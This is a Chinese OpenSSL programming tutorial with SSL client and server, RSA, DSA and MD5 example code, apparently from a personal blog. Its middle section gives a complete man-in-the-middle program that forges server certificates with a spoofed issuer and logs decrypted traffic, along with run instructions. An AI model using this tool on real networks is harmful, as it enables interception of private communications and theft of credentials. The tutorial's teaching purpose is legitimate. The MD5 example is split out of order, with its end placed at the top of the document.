    // more string to the hash context)
    MD5_Update(&hash_ctx, input_string, strlen(input_string));
 
    // compute the hash result
    MD5_Final(hash_ret, &hash_ctx);
 
    // print
    printf("Input string: %s", input_string);
    printf("Output string: ");
    for (i=0; i<32; ++i) 
    {
        if (i % 2 == 0) 
        {
            printf("%x", (hash_ret[i/2] >> 4) &0xf);
        } 
        else 
        {
            printf("%x", (hash_ret[i/2]) &0xf);
        }
    }
    printf("\n");
 
    return 0;
}

usage:
1. 编译程序
gcc -Wall md5.c -o md5 -lssl
2. 运行程序
./md5 hello
复制代码

 

Copyright (c) 2014 LittleHann All rights reserved

OPENSSL编程入门学习

相关学习资料

复制代码
http://bbs.pediy.com/showthread.php?t=92649
https://www.openssl.org
https://www.google.com.hk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=4&ved=0CDoQFjAD&url=http%3a%2f%2fidning-ebook%2egooglecode%2ecom%2fsvn%2ftrunk%2fopenssl%2fopenssl%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581%25E7%25AC%2594%25E8%25AE%25B0%25EF%25BC%2588%25E6%259C%2580%25E7%25AE%2580%25E6%2598%258E%25EF%25BC%2589%2edoc&ei=fV99U_KpN4388QXJ84DgDA&usg=AFQjCNEB9CTfpoTNx_VlSKBciE16gEdupA&sig2=AL3n-KsVRxM96eOoje6IUg&bvm=bv.67229260,d.dGc&cad=rjt
http://www.lovelucy.info/openssl-rsa-programming.html
复制代码

 

目录

1. OPENSSL简介
2. The SSL library(SSL、TLS开发代码库)
3. the Crypto library(密码学相关开发代码库)

 

1. OPENSSL简介

OpenSSL项目是一个协作开发一个健壮的,商业级的,全功能的,并且开放源代码工具包,它实现了安全套接字层(SSL v2/v3)和传输层安全(TLS v1)协议以及全强大的通用加密库。

OPENSSL由3部分组成:

1. The SSL library(SSL、TLS开发代码库)
2. the Crypto library(密码学相关开发代码库)
3. command line tool(命令行工具,提供CA、证书等功能)

关于(3)openssl命令汗工具的使用,请参阅另一篇文章

http://www.cnblogs.com/LittleHann/p/3738141.html

本文主要关注基于openssl代码库的程序开发

 

2. The SSL library(SSL、TLS开发代码库)

我们首先要明白,SSL、TLS是一个网络数据协议,所以我们使用OPENSSL开发程序的目的同样也是基于网络的应用程序,即C/S程序,所以,一般情况下,我们需要同时编写服务端、以及客户端程序

服务端编写步骤

客户端编写步骤

openssl的代码库随着openssl toolkit的安装自动安装,所有的头文件都放在"/usr/include/openssl"中,我们在GCC编程中需要引入它们

whereis openssl
openssl: /usr/bin/openssl /usr/include/openssl /usr/share/man/man1/openssl.1ssl.gz
cd /usr/include/openssl
ll

0x1: 简单C/S通信

复制代码
ssl-server.c:
#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#include <unistd.h> 
#include <arpa/inet.h> 
#include <openssl/ssl.h> 
#include <openssl/err.h> 

#define MAXBUF 1024 

int main(int argc, char * *argv) 
{
    int sockfd, new_fd;
    socklen_t len;
    struct sockaddr_in my_addr, their_addr;
    unsigned int myport, lisnum;
    char buf[MAXBUF + 1];
    SSL_CTX * ctx;
    //指定监听端口
    if (argv[1]) 
    {
        myport = atoi(argv[1]);
    }
    else 
    {
        myport = 8888;
    }
    //最大客户端连接数
    if (argv[2]) 
    {
        lisnum = atoi(argv[2]);
    }
    else 
    {
        lisnum = 2;
    }
    /* SSL 库初始化*/
    SSL_library_init();
    /* 载入所有SSL 算法*/
    OpenSSL_add_all_algorithms();
    /* 载入所有SSL 错误消息*/
    SSL_load_error_strings();
    /* 以SSL V2 和V3 标准兼容方式产生一个SSL_CTX ,即SSL Content Text */
    ctx = SSL_CTX_new(SSLv23_server_method());
    /* 
    也可以用SSLv2_server_method() 或SSLv3_server_method() 单独表示V2 或V3标准
    */
    if (ctx == NULL) 
    {
        ERR_print_errors_fp(stdout);
        exit(1);
    }
    /* 载入用户的数字证书, 此证书用来发送给客户端。证书里包含有公钥*/
    if (SSL_CTX_use_certificate_file(ctx, argv[4], SSL_FILETYPE_PEM) <= 0) 
    {
        ERR_print_errors_fp(stdout);
        exit(1);
    }
    /* 载入用户私钥*/
    if (SSL_CTX_use_PrivateKey_file(ctx, argv[5], SSL_FILETYPE_PEM) <= 0) 
    {
        ERR_print_errors_fp(stdout);
        exit(1);
    }
    /* 检查用户私钥是否正确*/
    if (!SSL_CTX_check_private_key(ctx)) 
    {
        ERR_print_errors_fp(stdout);
        exit(1);
    }

    /* 开启一个socket 监听*/
    if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) 
    {
        perror("socket");
        exit(1);
    } 
    else 
    {
        printf("socket created\n");
    }
    bzero( &my_addr, sizeof(my_addr));
    my_addr.sin_family = PF_INET;
    my_addr.sin_port = htons(myport);
    
    //设置监听的IP
    if (argv[3]) 
    {
        my_addr.sin_addr.s_addr = inet_addr(argv[3]);
    }
    else 
    {
        //如果用户没有指定监听端口,则默认监听0.0.0.0(任意IP)
        my_addr.sin_addr.s_addr = INADDR_ANY;
    }
    if (bind(sockfd, (struct sockaddr * ) &my_addr, sizeof(struct sockaddr)) == -1) 
    {
        perror("bind");
        exit(1);
    } 
    else
    {
        printf("binded\n");
    } 
    if (listen(sockfd, lisnum) == -1) 
    {
        perror("listen");
        exit(1);
    } 
    else 
    {
        printf("begin listen\n");
    }
    while (1) 
    {
        SSL * ssl;
        len = sizeof(struct sockaddr);
        /* 等待客户端连上来*/
        if ((new_fd = accept(sockfd, (struct sockaddr * ) & their_addr, &len)) == -1) 
        {
            perror("accept");
            exit(errno);
        } 
        else 
        {
            printf("server: got connection from %s, port %d, socket %d\n", inet_ntoa(their_addr.sin_addr), ntohs(their_addr.sin_port), new_fd);
        }
        /* 基于ctx 产生一个新的SSL */
        ssl = SSL_new(ctx);
        /* 将连接用户的socket 加入到SSL */
        SSL_set_fd(ssl, new_fd);
        /* 建立SSL 连接*/
        if (SSL_accept(ssl) == -1) 
        {
            perror("accept");
            close(new_fd);
            break;
        }
        /* 开始处理每个新连接上的数据收发*/
        bzero(buf, MAXBUF + 1);
        strcpy(buf, "server->client");
        /* 发消息给客户端*/
        len = SSL_write(ssl, buf, strlen(buf));
        if (len <= 0) 
        {
            printf("消息'%s'发送失败!错误代码是%d,错误信息是'%s'\n", buf, errno, strerror(errno));
            goto finish;
        } 
        else 
        {
            printf("消息'%s'发送成功,共发送了%d 个字节!\n", buf, len);
        }
        bzero(buf, MAXBUF + 1);
        /* 接收客户端的消息*/
        len = SSL_read(ssl, buf, MAXBUF);
        if (len > 0) 
        {
            printf("接收消息成功:'%s',共%d 个字节的数据\n", buf, len);
        }
        else 
        {
            printf("消息接收失败!错误代码是%d,错误信息是'%s'\n", errno, strerror(errno));
        }
        /* 处理每个新连接上的数据收发结束*/
        finish:
        /* 关闭SSL 连接*/
        SSL_shutdown(ssl);
        /* 释放SSL */
        SSL_free(ssl);
        /* 关闭socket */
        close(new_fd);
    }
    /* 关闭监听的socket */
    close(sockfd);
    /* 释放CTX */
    SSL_CTX_free(ctx);
    return 0;
}


ssl-client.c
#include <stdio.h> 
#include <string.h> 
#include <errno.h> 
#include <sys/socket.h> 
#include <resolv.h> 
#include <stdlib.h> 
#include <netinet/in.h> 
#include <arpa/inet.h> 
#include <unistd.h> 
#include <openssl/ssl.h> 
#include <openssl/err.h> 

#define MAXBUF 1024 

void ShowCerts(SSL * ssl) 
{
    X509 * cert;
    char * line;
    cert = SSL_get_peer_certificate(ssl);
    if (cert != NULL) 
    {
        printf("数字证书信息:\n");
        line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
        printf("证书: %s\n", line);
        free(line);
        line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
        printf("颁发者: %s\n", line);
        free(line);
        X509_free(cert);
    } 
    else 
    {
        printf("无证书信息!\n");
    }
} 

int main(int argc, char * *argv) 
{
    int sockfd, len;
    struct sockaddr_in dest;
    char buffer[MAXBUF + 1];
    SSL_CTX * ctx;
    SSL * ssl;
    if (argc != 3) 
    {
        printf("参数格式错误!正确用法如下:\n\t\t%s IP 地址端口\n\t 比如:\t%s 127.0.0.1 80\n 此程序用来从某个IP 地址的服务器某个端口接收最多MAXBUF 个字节的消息",
argv[0], argv[0]); exit(0); } /* SSL 库初始化*/ SSL_library_init(); /* 载入所有SSL 算法*/ OpenSSL_add_all_algorithms(); /* 载入所有SSL 错误消息*/ SSL_load_error_strings(); /* 以SSL V2 和V3 标准兼容方式产生一个SSL_CTX ,即SSL Content Text */ ctx = SSL_CTX_new(SSLv23_client_method()); if (ctx == NULL) { ERR_print_errors_fp(stdout); exit(1); } /* 创建一个socket 用于tcp 通信*/ if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("Socket"); exit(errno); } printf("socket created\n"); /* 初始化服务器端(对方)的地址和端口信息*/ bzero( &dest, sizeof(dest)); dest.sin_family = AF_INET; //设置连接的端口 dest.sin_port = htons(atoi(argv[2])); //设置连接的IP地址 if (inet_aton(argv[1], (struct in_addr * ) &dest.sin_addr.s_addr) == 0) { perror(argv[1]); exit(errno); } printf("address created\n"); /* 连接服务器*/ if (connect(sockfd, (struct sockaddr * ) &dest, sizeof(dest)) != 0) { perror("Connect "); exit(errno); } printf("server connected\n"); /* 基于ctx 产生一个新的SSL */ ssl = SSL_new(ctx); /* 将新连接的socket 加入到SSL */ SSL_set_fd(ssl, sockfd); /* 建立SSL 连接*/ if (SSL_connect(ssl) == -1) { ERR_print_errors_fp(stderr); } else { printf("Connected with %s encryption\n", SSL_get_cipher(ssl)); ShowCerts(ssl); } /* 接收对方发过来的消息,最多接收MAXBUF 个字节*/ bzero(buffer, MAXBUF + 1); /* 接收服务器来的消息*/ len = SSL_read(ssl, buffer, MAXBUF); if (len > 0) { printf("接收消息成功:'%s',共%d 个字节的数据\n", buffer, len); } else { printf("消息接收失败!错误代码是%d,错误信息是'%s'\n", errno, strerror(errno)); goto finish; } bzero(buffer, MAXBUF + 1); strcpy(buffer, "from client->server"); /* 发消息给服务器*/ len = SSL_write(ssl, buffer, strlen(buffer)); if (len < 0) { printf("消息'%s'发送失败!错误代码是%d,错误信息是'%s'\n", buffer, errno, strerror(errno)); } else { printf("消息'%s'发送成功,共发送了%d 个字节!\n", buffer, len); } finish: /* 关闭连接*/ SSL_shutdown(ssl); SSL_free(ssl); close(sockfd); SSL_CTX_free(ctx); return 0; } usage: 1. 程序中用到的包含公钥的服务端证书cacert.pem和服务端私钥文件privkey.pem需要使用如下方式生成: openssl genrsa -out privkey.pem 2048 openssl req -new -x509 -key privkey.pem -out cacert.pem -days 1095 2. 编译程序用下列命令: gcc -Wall ssl-client.c -o client -lssl gcc -Wall ssl-server.c -o server -lssl 3. 运行程序用如下命令: ./server 8888 3 127.0.0.1 cacert.pem privkey.pem ./client 127.0.0.1 8888
复制代码

0x2:  作为SSL中间人与客户端和原始请求服务端同时建立连接,并转发数据

中间负责监听443端口,等待客户端的连接,然后中间人单独和客户端原始请求的服务端建立SSL连接,同时和客户端也建立一个SSL连接,即

1. 客户端其实是在和中间人建立SSL连接
2. 中间人和原始请求的服务端建立SSL连接
3. 中间人将2个socket之间的数据进行双向转发,并记录明文数据

code:

复制代码
SSL_man_in_middle.c
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/param.h>
#include <linux/netfilter_ipv4.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/time.h>

#include <openssl/ssl.h>
#include <openssl/err.h>

#define LISTEN_BACKLOG 50

#define warning(msg) \
    do { fprintf(stderr, "%d, ", sum); perror(msg); } while(0)

#define error(msg) \
    do { fprintf(stderr, "%d, ", sum); perror(msg); exit(EXIT_FAILURE); } while (0)

int sum = 1;
struct timeval timeout = { 0, 10000000 };

int get_socket_to_server(struct sockaddr_in* original_server_addr) 
{
    int sockfd;

    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        error("Fail to initial socket to server!");
    } 
    if (connect(sockfd, (struct sockaddr*) original_server_addr, sizeof(struct sockaddr)) < 0)
    {
        error("Fail to connect to server!");
    } 
    printf("%d, Connect to server [%s:%d]\n", sum, inet_ntoa(original_server_addr->sin_addr), ntohs(original_server_addr->sin_port));
    return sockfd;
}

//监听指定端口,等待客户端的连接
int socket_to_client_init(short int port) 
{
    int sockfd;
    int on = 1;
    struct sockaddr_in addr;
    //初始化一个socket
    if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        error("Fail to initial socket to client!");
    }         
    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *) &on, sizeof(on)) < 0)
    {
        error("reuseaddr error!");
    }  
    memset(&addr, 0, sizeof(addr));
    addr.sin_addr.s_addr = htonl(INADDR_ANY);
    addr.sin_family = AF_INET;
    //将该socket绑定到8888端口上
    addr.sin_port = htons(port);
    if (bind(sockfd, (struct sockaddr*) &addr, sizeof(struct sockaddr)) < 0) 
    {
        shutdown(sockfd, SHUT_RDWR);
        error("Fail to bind socket to client!");
    }
    //然后监听该端口
    if (listen(sockfd, LISTEN_BACKLOG) < 0) 
    {
        shutdown(sockfd, SHUT_RDWR);
        error("Fail to listen socket to client!");
    }

    return sockfd;
}

/*
当主机B发起一个SSL连接时,我们在本地8888端口就可以监听到连接,这时我们接受这个连接,并获得该链接的原始目的地址,
以便后续连接服务器时使用。该部分封装到了get_socket_to_client函数中。
*/
int get_socket_to_client(int socket, struct sockaddr_in* original_server_addr) 
{
    int client_fd;
    struct sockaddr_in client_addr;
    socklen_t client_size = sizeof(struct sockaddr);
    socklen_t server_size = sizeof(struct sockaddr);

    memset(&client_addr, 0, client_size);
    memset(original_server_addr, 0, server_size);
    client_fd = accept(socket, (struct sockaddr *) &client_addr, &client_size);
    if (client_fd < 0)
    {
        warning("Fail to accept socket to client!");
        return -1;
    }
    /*
    通过getsockopt函数获得socket中的SO_ORIGINAL_DST属性,得到报文被iptables重定向之前的原始目的地址。
    使用SO_ORIGINAL_DST属性需要包括头文件<linux/netfilter_ipv4.h>。
    值得注意的是,在当前的情景下,通过getsockname等函数是无法正确获得原始的目的地址的,
    因为iptables在重定向报文到本地端口时,已经将IP报文的目的地址修改为本地地址,
    所以getsockname等函数获得的都是本地地址而不是服务器的地址。
    */
    if (getsockopt(client_fd, SOL_IP, SO_ORIGINAL_DST, original_server_addr, &server_size) < 0) 
    {
        warning("Fail to get original server address of socket to client!");;
    }
    printf("%d, Find SSL connection from client [%s:%d]", sum, inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
    printf(" to server [%s:%d]\n", inet_ntoa(original_server_addr->sin_addr), ntohs(original_server_addr->sin_port));

    return client_fd;
}

// 初始化openssl库
void SSL_init() 
{
    SSL_library_init();
    SSL_load_error_strings();
}

void SSL_Warning(char *custom_string) {
    char error_buffer[256] = { 0 };

    fprintf(stderr, "%d, %s ", sum, custom_string);
    ERR_error_string(ERR_get_error(), error_buffer);
    fprintf(stderr, "%s\n", error_buffer);
}

void SSL_Error(char *custom_string) {
    SSL_Warning(custom_string);
    exit(EXIT_FAILURE);
}

//在与服务器建立了socket连接之后,我们就可以建立SSL连接了。这里我们使用linux系统中著名的SSL库openssl来完成我们的接下来的工作
SSL* SSL_to_server_init(int socket) 
{
    SSL_CTX *ctx;

    ctx = SSL_CTX_new(SSLv23_client_method());
    if (ctx == NULL)
    {
        SSL_Error("Fail to init ssl ctx!");
    } 
    SSL *ssl = SSL_new(ctx);
    if (ssl == NULL)
    {
        SSL_Error("Create ssl error");
    } 
    if (SSL_set_fd(ssl, socket) != 1)
    {
        SSL_Error("Set fd error");
    } 

    return ssl;
}

SSL* SSL_to_client_init(int socket, X509 *cert, EVP_PKEY *key) {
    SSL_CTX *ctx;

    ctx = SSL_CTX_new(SSLv23_server_method());
    if (ctx == NULL)
        SSL_Error("Fail to init ssl ctx!");
    if (cert && key) {
        if (SSL_CTX_use_certificate(ctx, cert) != 1)
            SSL_Error("Certificate error");
        if (SSL_CTX_use_PrivateKey(ctx, key) != 1)
            SSL_Error("key error");
        if (SSL_CTX_check_private_key(ctx) != 1)
            SSL_Error("Private key does not match the certificate public key");
    }

    SSL *ssl = SSL_new(ctx);
    if (ssl == NULL)
        SSL_Error("Create ssl error");
    if (SSL_set_fd(ssl, socket) != 1)
        SSL_Error("Set fd error");

    return ssl;
}

void SSL_terminal(SSL *ssl) {
    SSL_CTX *ctx = SSL_get_SSL_CTX(ssl);
    SSL_shutdown(ssl);
    SSL_free(ssl);
    if (ctx)
        SSL_CTX_free(ctx);
}


// 从文件读取伪造SSL证书时需要的RAS私钥和公钥
EVP_PKEY* create_key() 
{
    EVP_PKEY *key = EVP_PKEY_new();
    RSA *rsa = RSA_new();

    FILE *fp;
    if ((fp = fopen("private.key", "r")) == NULL)
    {
        error("private.key");
    } 
    PEM_read_RSAPrivateKey(fp, &rsa, NULL, NULL);
    
    if ((fp = fopen("public.key", "r")) == NULL)
    {
        error("public.key");
    } 
    PEM_read_RSAPublicKey(fp, &rsa, NULL, NULL);

    EVP_PKEY_assign_RSA(key,rsa);
    return key;
}

X509* create_fake_certificate(SSL* ssl_to_server, EVP_PKEY *key) 
{
    unsigned char buffer[128] = { 0 };
    int length = 0, loc;
    X509 *server_x509 = SSL_get_peer_certificate(ssl_to_server);
    X509 *fake_x509 = X509_dup(server_x509);
    if (server_x509 == NULL)
    {
        SSL_Error("Fail to get the certificate from server!"); 
    }
        
    X509_set_version(fake_x509, X509_get_version(server_x509));
    ASN1_INTEGER *a = X509_get_serialNumber(fake_x509);
    a->data[0] = a->data[0] + 1; 
    X509_NAME *issuer = X509_NAME_new(); 
    X509_NAME_add_entry_by_txt(issuer, "CN", MBSTRING_ASC,
            "Thawte SGC CA", -1, -1, 0);
    X509_NAME_add_entry_by_txt(issuer, "O", MBSTRING_ASC, "Thawte Consulting (Pty) Ltd.", -1, -1, 0);
    X509_NAME_add_entry_by_txt(issuer, "OU", MBSTRING_ASC, "Thawte SGC CA", -1,
            -1, 0);
    X509_set_issuer_name(fake_x509, issuer);  
    X509_sign(fake_x509, key, EVP_sha1()); 

    return fake_x509;
}

/*
我们将抓取数据的代码封装到transfer函数中。该函数主要是使用系统的select函数同时监听服务器和客户端,
并使用SSL_read和SSL_write不断的在两个信道之间传递数据,并将数据输出到控制台
*/
int transfer(SSL *ssl_to_client, SSL *ssl_to_server) 
{
    int socket_to_client = SSL_get_fd(ssl_to_client);
    int socket_to_server = SSL_get_fd(ssl_to_server);
    int ret;
    char buffer[4096] = { 0 };

    fd_set fd_read;

    printf("%d, waiting for transfer\n", sum);
    while (1) 
    {
        int max;

        FD_ZERO(&fd_read);
        FD_SET(socket_to_server, &fd_read);
        FD_SET(socket_to_client, &fd_read);
        max = socket_to_client > socket_to_server ? socket_to_client + 1 : socket_to_server + 1;

        ret = select(max, &fd_read, NULL, NULL, &timeout);
        if (ret < 0) 
        {
            SSL_Warning("Fail to select!");
            break;
        } 
        else if (ret == 0) 
        {
            continue;
        }
        if (FD_ISSET(socket_to_client, &fd_read)) 
        {
            memset(buffer, 0, sizeof(buffer));
            ret = SSL_read(ssl_to_client, buffer, sizeof(buffer));
            if (ret > 0) 
            {
                if (ret != SSL_write(ssl_to_server, buffer, ret)) 
                {
                    SSL_Warning("Fail to write to server!");
                    break;
                } 
                else 
                {
                    printf("%d, client send %d bytes to server\n", sum, ret);
                    printf("%s\n", buffer);
                }
            } 
            else 
            {
                SSL_Warning("Fail to read from client!");
                break;
            }
        }
        if (FD_ISSET(socket_to_server, &fd_read)) 
        {
            memset(buffer, 0, sizeof(buffer));
            ret = SSL_read(ssl_to_server, buffer, sizeof(buffer));
            if (ret > 0) {
                if (ret != SSL_write(ssl_to_client, buffer, ret)) 
                {
                    SSL_Warning("Fail to write to client!");
                    break;
                } 
                else 
                {
                    printf("%d, server send %d bytes to client\n", sum, ret);
                    printf("%s\n", buffer);
                }
            } 
            else 
            {
                SSL_Warning("Fail to read from server!");
                break;
            }
        }
    }
    return -1;
}

int main() 
{
    // 初始化一个socket,将该socket绑定到443端口,并监听
    int socket = socket_to_client_init(443);
    // 从文件读取伪造SSL证书时需要的RAS私钥和公钥
    EVP_PKEY* key = create_key();
    // 初始化openssl库
    SSL_init();

    while (1) 
    {
        struct sockaddr_in original_server_addr;
        // 从监听的端口获得一个客户端的连接,并将该连接的原始目的地址存储到original_server_addr中
        int socket_to_client = get_socket_to_client(socket, &original_server_addr);
        if (socket_to_client < 0)
        {
            continue;
        } 
        // 新建一个子进程处理后续事宜,主进程继续监听端口等待后续连接
        if (!fork()) 
        {
            X509 *fake_x509;
            SSL *ssl_to_client, *ssl_to_server;

            // 通过获得的原始目的地址,连接真正的服务器,获得一个和服务器连接的socket
            int socket_to_server = get_socket_to_server(&original_server_addr);
            // 通过和服务器连接的socket建立一个和服务器的SSL连接
            ssl_to_server = SSL_to_server_init(socket_to_server);
            if (SSL_connect(ssl_to_server) < 0)
            {
                SSL_Error("Fail to connect server with ssl!");
            } 
            printf("%d, SSL to server\n", sum);

            // 从服务器获得证书,并通过这个证书伪造一个假的证书
            fake_x509 = create_fake_certificate(ssl_to_server, key);
            // 使用假的证书和我们自己的密钥,和客户端建立一个SSL连接。至此,SSL中间人攻击成功
            ssl_to_client = SSL_to_client_init(socket_to_client, fake_x509, key);
            if (SSL_accept(ssl_to_client) <= 0)
            {
                SSL_Error("Fail to accept client with ssl!");
            } 
            printf("%d, SSL to client\n", sum);

            // 在服务器SSL连接和客户端SSL连接之间转移数据,并输出服务器和客户端之间通信的数据
            if (transfer(ssl_to_client, ssl_to_server) < 0)
            {
                break;
            } 
            printf("%d, connection shutdown\n", sum);
            shutdown(socket_to_server, SHUT_RDWR);
            SSL_terminal(ssl_to_client);
            SSL_terminal(ssl_to_server);
            X509_free(fake_x509);
            EVP_PKEY_free(key);
        } 
        else 
        {
            ++sum;
        }
    }

    return 0;
}

usage:
1. 生成本地伪证书公钥、私钥
openssl genrsa -out private.key 1024
openssl rsa -in private.key -pubout -out public.key
2. 编译
vim SSL_man_in_middle.c
gcc SSL_man_in_middle.c -o SSL_man_in_middle -lssl
3. 运行(监听443端口)
./SSL_man_in_middle
复制代码

 

 

3. the Crypto library(密码学相关开发代码库)

0x1: RSA密钥生成

RSA算法是一个广泛使用的公钥算法。其密钥包括公钥和私钥。它能用于数字签名、身份认证以及密钥交换。RSA密钥长度一般使用1024位或者更高。RSA密钥信息主要包括

复制代码
1. n: 模数
2. e: 公钥指数
3. d: 私钥指数
4. p: 最初的大素数
5. q: 最初的大素数
6. dmp1: e*dmp1 = 1 (mod (p-1))
7. dmq1: e*dmq1 = 1 (mod (q-1))
8. iqmp: q*iqmp = 1 (mod p )
复制代码

其中,公钥为n和e;私钥为n和d。在实际应用中,公钥加密一般用来协商密钥,私钥加密一般用来签名

复制代码
rsa_keygen.c
#include <openssl/rsa.h>

int main() 
{ 
    RSA * r; 
    int bits = 512, ret; 
    unsigned long e = RSA_3; 
    BIGNUM * bne;

    //调用RSA_generate_key函数生成RSA密钥参数 
    r = RSA_generate_key(bits, e, NULL, NULL);
    //调用RSA_print_fp打印密钥信息
    RSA_print_fp(stdout, r, 11); 
    RSA_free(r);

    bne = BN_new(); 
    ret = BN_set_word(bne, e); 
    r = RSA_new(); 
    //调用RSA_generate_key_ex函数生成RSA密钥参数
    ret = RSA_generate_key_ex(r, bits, bne, NULL);

    if (ret != 1) 
    { 
        printf("RSA_generate_key_ex err!\n"); 
        return - 1; 
    }

    RSA_free(r); 
    return 0; 
}

usage:
1. 编译程序
gcc -Wall rsa_keygen.c -o rsa_keygen -lssl
2. 运行程序
./rsa_keygen
复制代码

0x2: RSA加解密运算

RSA算法中,公钥、私钥的加解密是对称的,即

1. 公钥解密--私钥解密
2. 私钥加密--公钥解密

code:

复制代码
rsa_crypto.c
/*
* rsa.cc
* - Show the usage of RSA encryption/decryption
*/ 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <openssl/bn.h>
#include <openssl/rsa.h>
 
int main(int argc, char** argv) 
{
    RSA* rsa;
    unsigned char* input_string;
    unsigned char* encrypt_string;
    unsigned char* decrypt_string;
    int i;
 
    // check usage
    if (argc != 2) 
    {
        fprintf(stderr, "%s <plain text>\n", argv[0]);
        exit(-1);
    }
 
    // set the input string
    input_string = (unsigned char*)calloc(strlen(argv[1]) + 1, sizeof(unsigned char));
    if (input_string == NULL) 
    {
        fprintf(stderr, "Unable to allocate memory for input_string\n");
        exit(-1);
    }
    strncpy((char*)input_string, argv[1], strlen(argv[1]));
 
    // Generate RSA parameters with 1024 bits (using exponent 3)
    rsa = RSA_generate_key(1024, 3, NULL, NULL);
 
    // set encryption RSA instance (with only n and e), to resemble
    // the key distribution process
    unsigned char* n_b = (unsigned char*)calloc(RSA_size(rsa),  sizeof(unsigned char));
    unsigned char* e_b = (unsigned char*)calloc(RSA_size(rsa),  sizeof(unsigned char));
    int n_size = BN_bn2bin(rsa->n, n_b);
    int b_size = BN_bn2bin(rsa->e, e_b);
    // assume the byte strings are sent over the network
    RSA* encrypt_rsa = RSA_new();
    encrypt_rsa->n = BN_bin2bn(n_b, n_size, NULL);
    encrypt_rsa->e = BN_bin2bn(e_b, b_size, NULL);
 
    // alloc encrypt_string
    encrypt_string = (unsigned char*)calloc(RSA_size(encrypt_rsa), sizeof(unsigned char));    
    if (encrypt_string == NULL) 
    {
        fprintf(stderr, "Unable to allocate memory for encrypt_string\n");
        exit(-1);
    }
 
    // encrypt (return the size of the encrypted data)
    // note that if RSA_PKCS1_OAEP_PADDING is used, 
    // flen must be < RSA_size - 41 
    int encrypt_size = RSA_public_encrypt(strlen((char*)input_string), input_string, encrypt_string, encrypt_rsa, RSA_PKCS1_OAEP_PADDING);
 
    // alloc decrypt_string
    decrypt_string = (unsigned char*)calloc(RSA_size(rsa), sizeof(unsigned char));
    if (decrypt_string == NULL) 
    {
        fprintf(stderr, "Unable to allocate memory for decrypt_string\n");
        exit(-1);
    }
 
    // decrypt
    int decrypt_size = RSA_private_decrypt(encrypt_size, encrypt_string, decrypt_string, rsa, RSA_PKCS1_OAEP_PADDING);
 
    // print
    printf("input_string = %s\n", input_string);
    printf("encrypted string = ");
    for (i=0; i<encrypt_size; ++i) 
    {
        printf("%x%x", (encrypt_string[i] >> 4) & 0xf, encrypt_string[i] & 0xf);    
    }
    printf("\n");
    printf("decrypted string (%d) = %s\n", decrypt_size, decrypt_string);
 
    return 0;
}

usage:
1. 编译程序
gcc -Wall rsa_crypto.c -o crypto -lssl
2. 运行程序
./crypto hello
复制代码

0x3: DSA签名与验证

和手写签名一样,数字签名可以为我们验证文档的作者、签名的时间,从而鉴明消息的内容是真实可靠的。它的目的和MAC类似,只是使用的是公钥加密体系。 
在DSA数字签名和认证中,发送者使用自己的私钥对文件或消息进行签名,接受者收到消息后使用发送者的公钥来验证签名的真实性

我们知道,非对称密钥体系一个最大的缺点就是速度很慢,如果我们需要传送一个1G大小的文件,则加密解密签名验证都需要耗费大量的时间。所以,包括SSL/TLS在内的主流的协议框架中,都规定用一个哈希函数对消息进行摘要,对摘要进行签名和验证,这样可以加快速度

复制代码
dsa_signed.c
/*
* dsa.cc
* - Show the usage of DSA sign/verify
*/
 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <openssl/dsa.h>
 
int main(int argc, char** argv) 
{
    DSA* dsa;
    unsigned char* input_string;
    unsigned char* sign_string;
    unsigned int sig_len;
    unsigned int i;
 
    // check usage
    if (argc != 2) 
    {
        fprintf(stderr, "%s <plain text>\n", argv[0]);
        exit(-1);
    }
 
    // set the input string
    input_string = (unsigned char*)calloc(strlen(argv[1]) + 1, sizeof(unsigned char));
    if (input_string == NULL) 
    {
        fprintf(stderr, "Unable to allocate memory for input_string\n");
        exit(-1);
    }
    strncpy((char*)input_string, argv[1], strlen(argv[1]));
 
    // Generate random DSA parameters with 1024 bits 
    dsa = DSA_generate_parameters(1024, NULL, 0, NULL, NULL, NULL, NULL);
 
    // Generate DSA keys
    DSA_generate_key(dsa);
 
    // alloc sign_string
    sign_string = (unsigned char*)calloc(DSA_size(dsa), sizeof(unsigned char));    
    if (sign_string == NULL) 
    {
        fprintf(stderr, "Unable to allocate memory for sign_string\n");
        exit(-1);
    }
 
    // sign input_string
    if (DSA_sign(0, input_string, strlen((char*)input_string), sign_string, &sig_len, dsa) == 0) 
    {
        fprintf(stderr, "Sign Error.\n");
        exit(-1);
    }
 
    // verify signature and input_string
    int is_valid_signature = DSA_verify(0, input_string, strlen((char*)input_string), sign_string, sig_len, dsa);
 
    // print
    DSAparams_print_fp(stdout, dsa);
    printf("input_string = %s\n", input_string);
    printf("signed string = ");
    for (i=0; i<sig_len; ++i) 
    {
        printf("%x%x", (sign_string[i] >> 4) & 0xf, sign_string[i] & 0xf);    
    }
    printf("\n");
    printf("is_valid_signature? = %d\n", is_valid_signature);
 
    return 0;
}

usage:
1. 编译程序
gcc -Wall dsa_signed.c -o signed -lssl
2. 运行程序
./signed hello
复制代码

0x4: MD5哈希散列生成摘要

取任意长度的消息,生成一个固定长度的散列值,或者叫做摘要。哈希函数的实现都是公开的,它广泛应用于文件完整性检测、数字签名中。登录密码也有用到哈希函数,一般网站在数据库中不是直接存储的用户密码,而是密码的哈希值,这样即使数据库暴露,攻击者仍然是不知道密码的明文的。

复制代码
md5.c
/*
* md5.cc
* - Using md5 with openSSL. MD5 returns a 128-bit hash value from a string.
*/
 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <openssl/md5.h>
 
int main(int argc, char** argv) 
{
    MD5_CTX hash_ctx;
    char input_string[128];
